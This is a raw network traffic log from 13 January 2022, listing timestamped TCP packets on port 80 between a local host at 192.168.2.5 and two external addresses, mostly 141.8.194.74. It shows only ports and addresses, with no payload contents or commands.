Jan 13, 2022 20:51:34.157145023 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157150030 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157196999 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157201052 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157247066 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157253027 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157299995 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157305002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157351971 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157357931 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157407045 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157409906 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157458067 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157464027 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157510996 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157516003 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157563925 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157567978 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157618999 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157618999 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157666922 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157670021 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157720089 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157721043 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157769918 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157772064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157821894 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157824993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157879114 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.157901049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157953024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.157953024 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158004999 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158013105 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158051968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158073902 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158096075 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158106089 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158159971 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158163071 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158210039 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158210993 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158261061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158265114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158323050 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158325911 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158376932 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158376932 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158428907 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158432961 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158482075 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158495903 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158535004 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158548117 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158588886 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158595085 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158649921 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158653021 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158715010 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158720016 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158768892 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158770084 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158819914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158828020 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158874989 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158875942 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158929110 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.158931971 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158982992 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.158982992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159032106 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159037113 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159081936 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159082890 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159133911 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159133911 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159184933 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159187078 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159235954 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159244061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159288883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159291983 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159338951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159339905 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159389019 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159389973 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159441948 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159442902 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159492016 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159498930 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159562111 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159564972 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159615040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159619093 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159667969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159672976 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159718990 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159723997 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159770966 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159826040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159830093 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159837008 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159878969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159917116 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159929991 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.159945011 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.159996986 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160001993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160059929 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160073996 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160111904 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160115004 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160162926 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160164118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160213947 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160216093 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160265923 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160274029 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160337925 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160337925 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160389900 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160389900 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160442114 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160449028 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160504103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160509109 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160556078 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160559893 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160605907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160608053 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160660982 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.160670042 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.160717010 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.192492008 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.192565918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.192622900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.192714930 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.192760944 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.193191051 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.193253994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.193300962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.193317890 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.197715044 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.197945118 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.197951078 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198033094 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198062897 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198110104 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198136091 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198172092 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198223114 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198224068 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198241949 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198285103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198307991 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198348045 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198367119 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198410988 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198425055 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198479891 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198487997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198569059 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198569059 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198642969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198649883 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198702097 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198724985 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198755980 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198769093 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198818922 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198833942 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198888063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198899984 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.198951960 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.198966980 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199029922 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199039936 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199089050 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199105024 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199162006 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199178934 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199235916 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199245930 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199297905 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199312925 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199367046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199381113 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199431896 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199449062 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199507952 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199527979 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199567080 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199579000 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199625969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199632883 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199695110 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199728966 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199763060 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199779987 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199831963 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199836016 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199891090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199908018 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.199949026 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.199963093 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200014114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200026989 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200073957 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200083017 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200134993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200145006 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200196981 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200207949 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200269938 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200270891 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200333118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200339079 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200400114 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200401068 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200468063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200469017 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200527906 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200531960 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200579882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200579882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200638056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200649023 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200695992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200745106 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200752974 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200764894 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200825930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200835943 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200882912 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200891972 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.200948954 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.200953007 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201004982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201010942 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201071978 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201078892 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201139927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201141119 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201203108 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201205015 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201262951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201277018 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201318979 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201329947 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201385975 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201390982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201453924 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201463938 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201513052 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201514959 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201571941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201580048 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201636076 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201642036 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201704025 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201704025 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201773882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201775074 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201833010 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201854944 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201901913 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.201905012 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201973915 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.201984882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202040911 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202075958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202109098 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202116013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202183008 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202183008 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202244997 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202265024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202311039 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202337027 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202358961 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202373028 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202430010 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202442884 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202487946 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202486992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202539921 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202542067 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202594042 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202595949 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202646971 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202649117 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202696085 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202698946 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202749968 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202749968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202799082 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202801943 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202852011 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202852011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202907085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.202908039 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202955008 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.202958107 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203006983 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203010082 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203071117 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203072071 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203135967 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203138113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203205109 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203211069 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203272104 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203284025 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203341007 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203346968 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203413963 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203414917 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203480959 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203480959 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203545094 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203551054 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203599930 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203610897 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203668118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203669071 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203727961 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203733921 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203784943 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203794003 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203846931 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203847885 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203907013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203913927 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.203970909 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.203972101 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204029083 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204034090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204097033 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204102039 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204159021 CET	49847	80	192.168.2.5	141.8.194.74
